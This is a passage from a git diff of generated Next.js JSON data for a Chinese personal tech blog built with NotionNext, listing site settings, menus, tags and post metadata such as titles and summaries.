property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"}},"notion_user":{},"collection_query":{"7b11173d-8924-4a09-8897-50956378c0fc":{"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"collection_group_results":{"type":"results","blockIds":["02f024a6-0fd0-4a05-b201-762f56287c1d","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"hasMore":false}}}},"signed_urls":{}}},"prev":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"next":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/guide.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/guide.json
new file mode 100644
index 000000000..dc4dc9299
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/guide.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&width=800&fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"4fae0653-be7f-4e10-91de-344f6c6d0a6b":{"value":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","version":7,"type":"page","content":["9c344479-39c1-43e6-82db-da1e457673b8","dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","91069561-1f89-408e-ba39-87eb119ef85a","a0bcfc30-03ad-485c-8274-4dd1011c4373","35153d83-59d1-4af9-b986-53aa8573709e","4db6ff22-9486-468a-8f4e-651a0973869c","3dbdf851-118a-40f3-a713-d6477e7a71a9","2083ca79-572d-4541-a5c9-57585bd5c43e"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337114,"last_edited_time":1705630788431,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_l